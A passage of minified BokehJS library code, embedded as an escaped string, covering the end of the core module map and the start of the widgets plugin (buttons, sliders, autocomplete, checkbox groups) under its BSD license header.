a(t,e){try{(i=o[t](e)).value instanceof f?Promise.resolve(i.value.v).then(l,h):u(s[0][2],i)}catch(t){u(s[0][3],t)}var i}function l(t){a(\\\"next\\\",t)}function h(t){a(\\\"throw\\\",t)}function u(t,e){t(e),s.shift(),s.length&&a(s[0][0],s[0][1])}},m=function(n){var t,r;return t={},e(\\\"next\\\"),e(\\\"throw\\\",function(t){throw t}),e(\\\"return\\\"),t[Symbol.iterator]=function(){return this},t;function e(e,i){t[e]=n[e]?function(t){return(r=!r)?{value:f(n[e](t)),done:\\\"return\\\"===e}:i?i(t):t}:i}},g=function(l){if(!Symbol.asyncIterator)throw new TypeError(\\\"Symbol.asyncIterator is not defined.\\\");var t,e=l[Symbol.asyncIterator];return e?e.call(l):(l=_(l),t={},i(\\\"next\\\"),i(\\\"throw\\\"),i(\\\"return\\\"),t[Symbol.asyncIterator]=function(){return this},t);function i(a){t[a]=l[a]&&function(s){return new Promise(function(t,e){var i,n,r,o;s=l[a](s),i=t,n=e,r=s.done,o=s.value,Promise.resolve(o).then(function(t){i({value:t,done:r})},n)})}}},y=function(t,e){return Object.defineProperty?Object.defineProperty(t,\\\"raw\\\",{value:e}):t.raw=e,t},b=function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var i in t)Object.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e.default=t,e},x=function(t){return t&&t.__esModule?t:{default:t}},t(\\\"__extends\\\",i),t(\\\"__assign\\\",r),t(\\\"__rest\\\",o),t(\\\"__decorate\\\",s),t(\\\"__param\\\",a),t(\\\"__metadata\\\",l),t(\\\"__awaiter\\\",h),t(\\\"__generator\\\",u),t(\\\"__exportStar\\\",c),t(\\\"__values\\\",_),t(\\\"__read\\\",p),t(\\\"__spread\\\",d),t(\\\"__await\\\",f),t(\\\"__asyncGenerator\\\",v),t(\\\"__asyncDelegator\\\",m),t(\\\"__asyncValues\\\",g),t(\\\"__makeTemplateObject\\\",y),t(\\\"__importStar\\\",b),t(\\\"__importDefault\\\",x)})}],s={base:0,\\\"client/connection\\\":1,\\\"client/session\\\":2,\\\"core/bokeh_events\\\":3,\\\"core/build_views\\\":4,\\\"core/dom\\\":5,\\\"core/dom_view\\\":6,\\\"core/enums\\\":7,\\\"core/has_props\\\":8,\\\"core/hittest\\\":9,\\\"core/layout/alignments\\\":10,\\\"core/layout/layout_canvas\\\":11,\\\"core/layout/side_panel\\\":12,\\\"core/layout/solver\\\":13,\\\"core/logging\\\":14,\\\"core/properties\\\":15,\\\"core/property_mixins\\\":16,\\\"core/selection_manager\\\":17,\\\"core/settings\\\":18,\\\"core/signaling\\\":19,\\\"core/ui_events\\\":20,\\\"core/util/array\\\":21,\\\"core/util/arrayable\\\":22,\\\"core/util/assert\\\":23,\\\"core/util/bbox\\\":24,\\\"core/util/callback\\\":25,\\\"core/util/canvas\\\":26,\\\"core/util/color\\\":27,\\\"core/util/compat\\\":28,\\\"core/util/data_structures\\\":29,\\\"core/util/eq\\\":30,\\\"core/util/math\\\":31,\\\"core/util/object\\\":32,\\\"core/util/projections\\\":33,\\\"core/util/refs\\\":34,\\\"core/util/selection\\\":35,\\\"core/util/serialization\\\":36,\\\"core/util/spatial\\\":37,\\\"core/util/string\\\":38,\\\"core/util/svg_colors\\\":39,\\\"core/util/templating\\\":40,\\\"core/util/text\\\":41,\\\"core/util/throttle\\\":42,\\\"core/util/typed_array\\\":43,\\\"core/util/types\\\":44,\\\"core/util/wheel\\\":45,\\\"core/util/zoom\\\":46,\\\"core/vectorization\\\":47,\\\"core/view\\\":48,\\\"core/visuals\\\":49,\\\"document/document\\\":50,\\\"document/events\\\":51,\\\"document/index\\\":52,\\\"embed/dom\\\":53,\\\"embed/index\\\":54,\\\"embed/notebook\\\":55,\\\"embed/server\\\":56,\\\"embed/standalone\\\":57,main:58,model:59,\\\"models/annotations/annotation\\\":60,\\\"models/annotations/arrow\\\":61,\\\"models/annotations/arrow_head\\\":62,\\\"models/annotations/band\\\":63,\\\"models/annotations/box_annotation\\\":64,\\\"models/annotations/color_bar\\\":65,\\\"models/annotations/index\\\":66,\\\"models/annotations/label\\\":67,\\\"models/annotations/label_set\\\":68,\\\"models/annotations/legend\\\":69,\\\"models/annotations/legend_item\\\":70,\\\"models/annotations/poly_annotation\\\":71,\\\"models/annotations/slope\\\":72,\\\"models/annotations/span\\\":73,\\\"models/annotations/text_annotation\\\":74,\\\"models/annotations/title\\\":75,\\\"models/annotations/toolbar_panel\\\":76,\\\"models/annotations/tooltip\\\":77,\\\"models/annotations/whisker\\\":78,\\\"models/axes/axis\\\":79,\\\"models/axes/categorical_axis\\\":80,\\\"models/axes/continuous_axis\\\":81,\\\"models/axes/datetime_axis\\\":82,\\\"models/axes/index\\\":83,\\\"models/axes/linear_axis\\\":84,\\\"models/axes/log_axis\\\":85,\\\"models/axes/mercator_axis\\\":86,\\\"models/callbacks/callback\\\":87,\\\"models/callbacks/customjs\\\":88,\\\"models/callbacks/index\\\":89,\\\"models/callbacks/open_url\\\":90,\\\"models/canvas/canvas\\\":91,\\\"models/canvas/cartesian_frame\\\":92,\\\"models/canvas/index\\\":93,\\\"models/expressions/cumsum\\\":94,\\\"models/expressions/expression\\\":95,\\\"models/expressions/index\\\":96,\\\"models/expressions/stack\\\":97,\\\"models/filters/boolean_filter\\\":98,\\\"models/filters/customjs_filter\\\":99,\\\"models/filters/filter\\\":100,\\\"models/filters/group_filter\\\":101,\\\"models/filters/index\\\":102,\\\"models/filters/index_filter\\\":103,\\\"models/formatters/basic_tick_formatter\\\":104,\\\"models/formatters/categorical_tick_formatter\\\":105,\\\"models/formatters/datetime_tick_formatter\\\":106,\\\"models/formatters/func_tick_formatter\\\":107,\\\"models/formatters/index\\\":108,\\\"models/formatters/log_tick_formatter\\\":109,\\\"models/formatters/mercator_tick_formatter\\\":110,\\\"models/formatters/numeral_tick_formatter\\\":111,\\\"models/formatters/printf_tick_formatter\\\":112,\\\"models/formatters/tick_formatter\\\":113,\\\"models/glyphs/annular_wedge\\\":114,\\\"models/glyphs/annulus\\\":115,\\\"models/glyphs/arc\\\":116,\\\"models/glyphs/bezier\\\":117,\\\"models/glyphs/box\\\":118,\\\"models/glyphs/center_rotatable\\\":119,\\\"models/glyphs/circle\\\":120,\\\"models/glyphs/ellipse\\\":121,\\\"models/glyphs/ellipse_oval\\\":122,\\\"models/glyphs/glyph\\\":123,\\\"models/glyphs/hbar\\\":124,\\\"models/glyphs/hex_tile\\\":125,\\\"models/glyphs/image\\\":126,\\\"models/glyphs/image_rgba\\\":127,\\\"models/glyphs/image_url\\\":128,\\\"models/glyphs/index\\\":129,\\\"models/glyphs/line\\\":130,\\\"models/glyphs/multi_line\\\":131,\\\"models/glyphs/multi_polygons\\\":132,\\\"models/glyphs/oval\\\":133,\\\"models/glyphs/patch\\\":134,\\\"models/glyphs/patches\\\":135,\\\"models/glyphs/quad\\\":136,\\\"models/glyphs/quadratic\\\":137,\\\"models/glyphs/ray\\\":138,\\\"models/glyphs/rect\\\":139,\\\"models/glyphs/segment\\\":140,\\\"models/glyphs/step\\\":141,\\\"models/glyphs/text\\\":142,\\\"models/glyphs/utils\\\":143,\\\"models/glyphs/vbar\\\":144,\\\"models/glyphs/wedge\\\":145,\\\"models/glyphs/xy_glyph\\\":146,\\\"models/graphs/graph_hit_test_policy\\\":147,\\\"models/graphs/index\\\":148,\\\"models/graphs/layout_provider\\\":149,\\\"models/graphs/static_layout_provider\\\":150,\\\"models/grids/grid\\\":151,\\\"models/grids/index\\\":152,\\\"models/index\\\":153,\\\"models/layouts/box\\\":154,\\\"models/layouts/column\\\":155,\\\"models/layouts/index\\\":156,\\\"models/layouts/layout_dom\\\":157,\\\"models/layouts/row\\\":158,\\\"models/layouts/spacer\\\":159,\\\"models/layouts/widget_box\\\":160,\\\"models/mappers/categorical_color_mapper\\\":161,\\\"models/mappers/categorical_mapper\\\":162,\\\"models/mappers/categorical_marker_mapper\\\":163,\\\"models/mappers/color_mapper\\\":164,\\\"models/mappers/continuous_color_mapper\\\":165,\\\"models/mappers/index\\\":166,\\\"models/mappers/linear_color_mapper\\\":167,\\\"models/mappers/log_color_mapper\\\":168,\\\"models/mappers/mapper\\\":169,\\\"models/markers/defs\\\":170,\\\"models/markers/index\\\":171,\\\"models/markers/marker\\\":172,\\\"models/markers/scatter\\\":173,\\\"models/plots/gmap_plot\\\":174,\\\"models/plots/gmap_plot_canvas\\\":175,\\\"models/plots/index\\\":176,\\\"models/plots/plot\\\":177,\\\"models/plots/plot_canvas\\\":178,\\\"models/ranges/data_range\\\":179,\\\"models/ranges/data_range1d\\\":180,\\\"models/ranges/factor_range\\\":181,\\\"models/ranges/index\\\":182,\\\"models/ranges/range\\\":183,\\\"models/ranges/range1d\\\":184,\\\"models/renderers/glyph_renderer\\\":185,\\\"models/renderers/graph_renderer\\\":186,\\\"models/renderers/guide_renderer\\\":187,\\\"models/renderers/index\\\":188,\\\"models/renderers/renderer\\\":189,\\\"models/scales/categorical_scale\\\":190,\\\"models/scales/index\\\":191,\\\"models/scales/linear_scale\\\":192,\\\"models/scales/log_scale\\\":193,\\\"models/scales/scale\\\":194,\\\"models/selections/index\\\":195,\\\"models/selections/interaction_policy\\\":196,\\\"models/selections/selection\\\":197,\\\"models/sources/ajax_data_source\\\":198,\\\"models/sources/cds_view\\\":199,\\\"models/sources/column_data_source\\\":200,\\\"models/sources/columnar_data_source\\\":201,\\\"models/sources/data_source\\\":202,\\\"models/sources/geojson_data_source\\\":203,\\\"models/sources/index\\\":204,\\\"models/sources/remote_data_source\\\":205,\\\"models/tickers/adaptive_ticker\\\":206,\\\"models/tickers/basic_ticker\\\":207,\\\"models/tickers/categorical_ticker\\\":208,\\\"models/tickers/composite_ticker\\\":209,\\\"models/tickers/continuous_ticker\\\":210,\\\"models/tickers/datetime_ticker\\\":211,\\\"models/tickers/days_ticker\\\":212,\\\"models/tickers/fixed_ticker\\\":213,\\\"models/tickers/index\\\":214,\\\"models/tickers/log_ticker\\\":215,\\\"models/tickers/mercator_ticker\\\":216,\\\"models/tickers/months_ticker\\\":217,\\\"models/tickers/single_interval_ticker\\\":218,\\\"models/tickers/ticker\\\":219,\\\"models/tickers/util\\\":220,\\\"models/tickers/years_ticker\\\":221,\\\"models/tiles/bbox_tile_source\\\":222,\\\"models/tiles/image_pool\\\":223,\\\"models/tiles/index\\\":224,\\\"models/tiles/mercator_tile_source\\\":225,\\\"models/tiles/quadkey_tile_source\\\":226,\\\"models/tiles/tile_renderer\\\":227,\\\"models/tiles/tile_source\\\":228,\\\"models/tiles/tile_utils\\\":229,\\\"models/tiles/tms_tile_source\\\":230,\\\"models/tiles/wmts_tile_source\\\":231,\\\"models/tools/actions/action_tool\\\":232,\\\"models/tools/actions/custom_action\\\":233,\\\"models/tools/actions/help_tool\\\":234,\\\"models/tools/actions/redo_tool\\\":235,\\\"models/tools/actions/reset_tool\\\":236,\\\"models/tools/actions/save_tool\\\":237,\\\"models/tools/actions/undo_tool\\\":238,\\\"models/tools/actions/zoom_in_tool\\\":239,\\\"models/tools/actions/zoom_out_tool\\\":240,\\\"models/tools/button_tool\\\":241,\\\"models/tools/edit/box_edit_tool\\\":242,\\\"models/tools/edit/edit_tool\\\":243,\\\"models/tools/edit/freehand_draw_tool\\\":244,\\\"models/tools/edit/point_draw_tool\\\":245,\\\"models/tools/edit/poly_draw_tool\\\":246,\\\"models/tools/edit/poly_edit_tool\\\":247,\\\"models/tools/edit/poly_tool\\\":248,\\\"models/tools/gestures/box_select_tool\\\":249,\\\"models/tools/gestures/box_zoom_tool\\\":250,\\\"models/tools/gestures/gesture_tool\\\":251,\\\"models/tools/gestures/lasso_select_tool\\\":252,\\\"models/tools/gestures/pan_tool\\\":253,\\\"models/tools/gestures/poly_select_tool\\\":254,\\\"models/tools/gestures/range_tool\\\":255,\\\"models/tools/gestures/select_tool\\\":256,\\\"models/tools/gestures/tap_tool\\\":257,\\\"models/tools/gestures/wheel_pan_tool\\\":258,\\\"models/tools/gestures/wheel_zoom_tool\\\":259,\\\"models/tools/index\\\":260,\\\"models/tools/inspectors/crosshair_tool\\\":261,\\\"models/tools/inspectors/customjs_hover\\\":262,\\\"models/tools/inspectors/hover_tool\\\":263,\\\"models/tools/inspectors/inspect_tool\\\":264,\\\"models/tools/on_off_button\\\":265,\\\"models/tools/tool\\\":266,\\\"models/tools/tool_proxy\\\":267,\\\"models/tools/toolbar\\\":268,\\\"models/tools/toolbar_base\\\":269,\\\"models/tools/toolbar_box\\\":270,\\\"models/tools/util\\\":271,\\\"models/transforms/customjs_transform\\\":272,\\\"models/transforms/dodge\\\":273,\\\"models/transforms/index\\\":274,\\\"models/transforms/interpolator\\\":275,\\\"models/transforms/jitter\\\":276,\\\"models/transforms/linear_interpolator\\\":277,\\\"models/transforms/step_interpolator\\\":278,\\\"models/transforms/transform\\\":279,polyfill:280,\\\"protocol/index\\\":281,\\\"protocol/message\\\":282,\\\"protocol/receiver\\\":283,safely:284,testing:285,version:286},r={},(l=(a=function(t){var e=null!=s[t]?s[t]:t;if(!r[e]){if(!o[e]){var i=new Error(\\\"Cannot find module '\\\"+t+\\\"'\\\");throw i.code=\\\"MODULE_NOT_FOUND\\\",i}var n=r[e]={exports:{}};o[e].call(n.exports,a,n,n.exports)}return r[e].exports})(58)).require=a,l.register_plugin=function(t,e,i){for(var n in t)o[n]=t[n];for(var n in e)s[n]=e[n];var r=a(i);for(var n in r)l[n]=r[n];return r},l)}(this);\\n      //# sourceMappingURL=bokeh.min.js.map\\n      /* END bokeh.min.js */\\n    },\\n    \\n    function(Bokeh) {\\n      /* BEGIN bokeh-widgets.min.js */\\n      /*!\\n       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n       * All rights reserved.\\n       * \\n       * Redistribution and use in source and binary forms, with or without modification,\\n       * are permitted provided that the following conditions are met:\\n       * \\n       * Redistributions of source code must retain the above copyright notice,\\n       * this list of conditions and the following disclaimer.\\n       * \\n       * Redistributions in binary form must reproduce the above copyright notice,\\n       * this list of conditions and the following disclaimer in the documentation\\n       * and/or other materials provided with the distribution.\\n       * \\n       * Neither the name of Anaconda nor the names of any contributors\\n       * may be used to endorse or promote products derived from this software\\n       * without specific prior written permission.\\n       * \\n       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n       * THE POSSIBILITY OF SUCH DAMAGE.\\n       */\\n      !function(t,e){var i;i=t.Bokeh,function(t,e,n){if(null!=i)return i.register_plugin(t,{\\\"core/menus\\\":400,\\\"models/widgets/abstract_button\\\":401,\\\"models/widgets/abstract_icon\\\":402,\\\"models/widgets/abstract_slider\\\":403,\\\"models/widgets/autocomplete_input\\\":404,\\\"models/widgets/button\\\":405,\\\"models/widgets/checkbox_button_group\\\":406,\\\"models/widgets/checkbox_group\\\":407,\\\"models/widgets/date_picker\\\":408,\\\"models/widgets/date_range_slider\\\":409,\\\"models/widgets/date_slider\\\":410,\\\"models/widgets/div\\\":411,\\\"models/widgets/dropdown\\\":412,\\\"models/widgets/index\\\":413,\\\"models/widgets/input_widget\\\":414,\\\"models/widgets/main\\\":415,\\\"models/widgets/markup\\\":416,\\\"models/widgets/multiselect\\\":417,\\\"models/widgets/panel\\\":418,\\\"models/widgets/paragraph\\\":419,\\\"models/widgets/password_input\\\":420,\\\"models/widgets/pretext\\\":421,\\\"models/widgets/radio_button_group\\\":422,\\\"models/widgets/radio_group\\\":423,\\\"models/widgets/range_slider\\\":424,\\\"models/widgets/selectbox\\\":425,\\\"models/widgets/slider\\\":426,\\\"models/widgets/tabs\\\":427,\\\"models/widgets/text_input\\\":428,\\\"models/widgets/toggle\\\":429,\\\"models/widgets/widget\\\":440},415);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")}({400:function(t,e,n){var i=t(19);n.clear_menus=new i.Signal0({},\\\"clear_menus\\\"),document.addEventListener(\\\"click\\\",function(){return n.clear_menus.emit()})},401:function(t,e,n){var i=t(391),r=t(15),o=t(5),s=t(4),a=t(440),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.icon_views={},this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.remove=function(){s.remove_views(this.icon_views),n.prototype.remove.call(this)},t.prototype._render_button=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return o.button.apply(void 0,[{type:\\\"button\\\",disabled:this.model.disabled,class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+this.model.button_type]}].concat(t))},t.prototype.render=function(){var e=this;n.prototype.render.call(this),o.empty(this.el),this.buttonEl=this._render_button(this.model.label),this.buttonEl.addEventListener(\\\"click\\\",function(t){return e._button_click(t)}),this.el.appendChild(this.buttonEl);var t=this.model.icon;null!=t&&(s.build_views(this.icon_views,[t],{parent:this}),o.prepend(this.buttonEl,this.icon_views[t.id].el,o.nbsp))},t.prototype._button_click=function(t){t.preventDefault(),this.change_input()},t.prototype.change_input=function(){null!=this.model.callback&&this.model.callback.execute(this.model)},t}(a.WidgetView);n.AbstractButtonView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AbstractButton\\\",this.define({label:[r.String,\\\"Button\\\"],icon:[r.Instance],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(a.Widget);(n.AbstractButton=u).initClass()},402:function(t,e,n){var i=t(391),r=t(440),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e}(r.WidgetView);n.AbstractIconView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AbstractIcon\\\"},t}(r.Widget);(n.AbstractIcon=s).initClass()},403:function(t,e,n){var i=t(391),f=t(431),r=t(15),m=t(5),v=t(14),g=t(21),y=t(25),o=t(440),s=function(p){function t(){return null!==p&&p.apply(this,arguments)||this}return i.__extends(t,p),t.prototype.initialize=function(t){p.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;p.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var r=this;if(null==this.sliderEl&&p.prototype.render.call(this),null!=this.model.callback){var t=function(){return r.model.callback.execute(r.model)};switch(this.model.callback_policy){case\\\"continuous\\\":this.callback_wrapper=t;break;case\\\"throttle\\\":this.callback_wrapper=y.throttle(t,this.model.callback_throttle)}}var e,o=\\\"bk-noUi-\\\",n=this._calc_to(),i=n.start,s=n.end,a=n.value,l=n.step;if(this.model.tooltips){var u={to:function(t){return r.model.pretty(t)}};e=g.repeat(u,a.length)}else e=!1;if(this.el.classList.add(\\\"bk-slider\\\"),null==this.sliderEl){this.sliderEl=m.div(),this.el.appendChild(this.sliderEl),f.create(this.sliderEl,{cssPrefix:o,range:{min:i,max:s},start:a,step:l,behaviour:this.model.behaviour,connect:this.model.connected,tooltips:e,orientation:this.model.orientation,direction:this.model.direction}),this.sliderEl.noUiSlider.on(\\\"slide\\\",function(t,e,n){return r._slide(n)}),this.sliderEl.noUiSlider.on(\\\"change\\\",function(t,e,n){return r._change(n)});var c=this.sliderEl.querySelector(\\\".\\\"+o+\\\"handle\\\");c.setAttribute(\\\"tabindex\\\",\\\"0\\\"),c.addEventListener(\\\"keydown\\\",function(t){var e=r._calc_to().value[0];switch(t.which){case 37:e=Math.max(e-l,i);break;case 39:e=Math.min(e+l,s);break;default:return}var n=r.model.pretty(e);v.logger.debug(\\\"[slider keypress] value = \\\"+n),r.model.value=e,r.sliderEl.noUiSlider.set(e),null!=r.valueEl&&(r.valueEl.textContent=n),null!=r.callback_wrapper&&r.callback_wrapper()});var d=function(t,e){var n=r.sliderEl.querySelectorAll(\\\".\\\"+o+\\\"handle\\\")[t],i=n.querySelector(\\\".\\\"+o+\\\"tooltip\\\");i.style.display=e?\\\"block\\\":\\\"\\\"};this.sliderEl.noUiSlider.on(\\\"start\\\",function(t,e){return d(e,!0)}),this.sliderEl.noUiSlider.on(\\\"end\\\",function(t,e){return d(e,!1)})}else this.sliderEl.noUiSlider.updateOptions({range:{min:i,max:s},start:a,step:l});if(null!=this.titleEl&&this.el.removeChild(this.titleEl),null!=this.valueEl&&this.el.removeChild(this.valueEl),null!=this.model.title&&(0!=this.model.title.length&&(this.titleEl=m.label({},this.model.title+\\\":\\\"),this.el.insertBefore(this.titleEl,this.sliderEl)),this.model.show_value)){var h=a.map(function(t){return r.model.pretty(t)}).join(\\\" .. \\\");this.valueEl=m.div({class:\\\"bk-slider-value\\\"},h),this.el.insertBefore(this.valueEl,this.sliderEl)}this.model.disabled||(this.sliderEl.querySelector(\\\".\\\"+o+\\\"connect\\\").style.backgroundColor=this.model.bar_color),this.model.disabled?this.sliderEl.setAttribute(\\\"disabled\\\",\\\"true\\\"):this.sliderEl.removeAttribute(\\\"disabled\\\")},t.prototype._slide=function(t){var e=this,n=this._calc_from(t),i=t.map(function(t){return e.model.pretty(t)}).join(\\\" .. \\\");v.logger.debug(\\\"[slider slide] value = \\\"+i),null!=this.valueEl&&(this.valueEl.textContent=i),this.model.value=n,null!=this.callback_wrapper&&this.callback_wrapper()},t.prototype._change=function(t){var e=this,n=this._calc_from(t),i=t.map(function(t){return e.model.pretty(t)}).join(\\\" .. \\\");switch(v.logger.debug(\\\"[slider change] value = \\\"+i),null!=this.valueEl&&(this.valueEl.dataset.value=i),this.model.value=n,this.model.callback_policy){case\\\"mouseup\\\":case\\\"throttle\\\":null!=this.model.callback&&this.model.callback.execute(this.model)}},t}(o.WidgetView);n.AbstractSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.connected=!1,e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"AbstractSlider\\\",this.define({title:[r.String,\\\"\\\"],show_value:[r.Bool,!0],start:[r.Any],end:[r.Any],value:[r.Any],step:[r.Number,1],format:[r.String],orientation:[r.Orientation,\\\"horizontal\\\"],direction:[r.Any,\\\"ltr\\\"],tooltips:[r.Boolean,!0],callback:[r.Instance],callback_throttle:[r.Number,200],callback_policy:[r.String,\\\"throttle\\\"],bar_color:[r.Color,\\\"#e6e6e6\\\"]})},t.prototype._formatter=function(t,e){return\\\"\\\"+t},t.prototype.pretty=function(t){return this._formatter(t,this.format)},t}(o.Widget);(n.AbstractSlider=a).initClass()},404:function(t,e,n){var i=t(391),r=t(428),s=t(5),o=t(400),a=t(15),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),o.clear_menus.connect(function(){return t._clear_menu()})},t.prototype.render=function(){var e=this;n.prototype.render.call(this),this.inputEl.classList.add(\\\"bk-autocomplete-input\\\"),this.inputEl.addEventListener(\\\"keydown\\\",function(t){return e._keydown(t)}),this.inputEl.addEventListener(\\\"keyup\\\",function(t){return e._keyup(t)}),this.menuEl=s.ul({class:\\\"bk-bs-dropdown-menu\\\"}),this.menuEl.addEventListener(\\\"click\\\",function(t){return e._item_click(t)}),this.el.appendChild(this.menuEl)},t.prototype._render_items=function(t){s.empty(this.menuEl);for(var e=0,n=t;e<n.length;e++){var i=n[e],r=s.li({},s.a({data:{text:i}},i));this.menuEl.appendChild(r)}},t.prototype._open_menu=function(){this.el.classList.add(\\\"bk-bs-open\\\")},t.prototype._clear_menu=function(){this.el.classList.remove(\\\"bk-bs-open\\\")},t.prototype._item_click=function(t){if(t.preventDefault(),t.target!=t.currentTarget){var e=t.target,n=e.dataset.text;this.model.value=n}},t.prototype._keydown=function(t){},t.prototype._keyup=function(t){switch(t.keyCode){case s.Keys.Enter:console.log(\\\"enter\\\");break;case s.Keys.Esc:this._clear_menu();break;case s.Keys.Up:case s.Keys.Down:console.log(\\\"up/down\\\");break;default:var e=this.inputEl.value;if(e.length<=1)return void this._clear_menu();for(var n=[],i=0,r=this.model.completions;i<r.length;i++){var o=r[i];-1!=o.indexOf(e)&&n.push(o)}0==n.length?this._clear_menu():(this._render_items(n),this._open_menu())}},t}(r.TextInputView);n.AutocompleteInputView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AutocompleteInput\\\",this.prototype.default_view=l,this.define({completions:[a.Array,[]]}),this.internal({active:[a.Boolean,!0]})},t}(r.TextInput);(n.AutocompleteInput=u).initClass()},405:function(t,e,n){var i=t(391),r=t(15),o=t(3),s=t(401),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.change_input=function(){this.model.trigger_event(new o.ButtonClick({})),this.model.clicks=this.model.clicks+1,t.prototype.change_input.call(this)},e}(s.AbstractButtonView);n.ButtonView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Button\\\",this.prototype.default_view=a,this.define({clicks:[r.Number,0]}),o.register_with_event(o.ButtonClick,this)},t}(s.AbstractButton);(n.Button=l).initClass()},406:function(t,e,n){var i=t(391),l=t(5),r=t(15),u=t(21),o=t(440),s=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var i=this;n.prototype.render.call(this),l.empty(this.el);var r=l.div({class:\\\"bk-bs-btn-group\\\"});this.el.appendChild(r);for(var o=this.model.active,s=this.model.labels,t=function(t){var e=l.input({type:\\\"checkbox\\\",value:\\\"\\\"+t,checked:t in o});e.addEventListener(\\\"change\\\",function(){return i.model.change_input(t)});var n=l.label({class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+a.model.button_type]},e,s[t]);u.includes(o,t)&&n.classList.add(\\\"bk-bs-active\\\"),r.appendChild(n)},a=this,e=0;e<s.length;e++)t(e)},t}(o.WidgetView);n.CheckboxButtonGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.prototype.change_input=function(e){var t=u.copy(this.active);u.includes(t,e)?u.removeBy(t,function(t){return e==t}):t.push(e),t.sort(),this.active=t,null!=this.callback&&this.callback.execute(this)},t.initClass=function(){this.prototype.type=\\\"CheckboxButtonGroup\\\",this.prototype.default_view=s,this.define({active:[r.Array,[]],labels:[r.Array,[]],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(o.Widget);(n.CheckboxButtonGroup=a).initClass()},407:function(t,e,n){var i=t(391),u=t(5),r=t(15),c=t(21),o=t(440),s=function(l){function t(){return null!==l&&l.apply(this,arguments)||this}return i.__extends(t,l),t.prototype.initialize=function(t){l.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;l.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;l.prototype.render.call(this),u.empty(this.el);for(var e=this.model.active,n=this.model.labels,i=0;i<n.length;i++){var r=n[i],o=u.input({type:\\\"checkbox\\\",value:\\\"\\\"+i});o.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.model.disabled&&(o.disabled=!0),c.includes(e,i)&&(o.checked=!0);var s=u.label({},o,r);if(this.model.inline)s.classList.add(\\\"bk-bs-checkbox-inline\\\"),this.el.appendChild(s);else{var a=u.div({class:\\\"bk-bs-checkbox\\\"},s);this.el.appendChild(a)}}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e,null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.CheckboxGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CheckboxGroup\\\",this.prototype.default_view=s,this.define({active:[r.Array,[]],labels:[r.Array,[]],inline:[r.Bool,!1],callback:[r.Instance]})},t}(o.Widget);(n.CheckboxGroup=a).initClass()},408:function(t,e,n){var i=t(391),r=t(414),o=t(5),s=t(15),a=t(432);a.prototype.adjustPosition=function(){if(!this._o.container){this.el.style.position=\\\"absolute\\\";var 